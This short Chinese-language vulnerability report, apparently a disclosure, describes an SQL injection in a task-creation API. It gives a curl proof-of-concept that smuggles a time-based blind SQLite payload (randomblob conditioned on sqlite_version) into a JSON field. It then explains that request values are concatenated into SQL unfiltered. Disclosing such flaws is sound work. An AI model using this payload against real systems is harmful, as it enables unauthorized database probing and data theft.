SQL注入漏洞

[dayutech]

验证命令：curl http://127.0.0.1:2333/xssfork/create_task/8XFs5T1A6CwPs1l -X POST -d "{"url":"http://127.0.0.1:8888/id=te\",\"data\":\"name=e' and (case when(substr(sqlite_version(),1,1)='3') then randomblob(500000000) else 0 end) and '"}" -H 'content-type: application/json'

客户端qingq请求没有过滤就放到了模型里面

这里直接遍历了字典里的值拼接到了sql语句中导致注入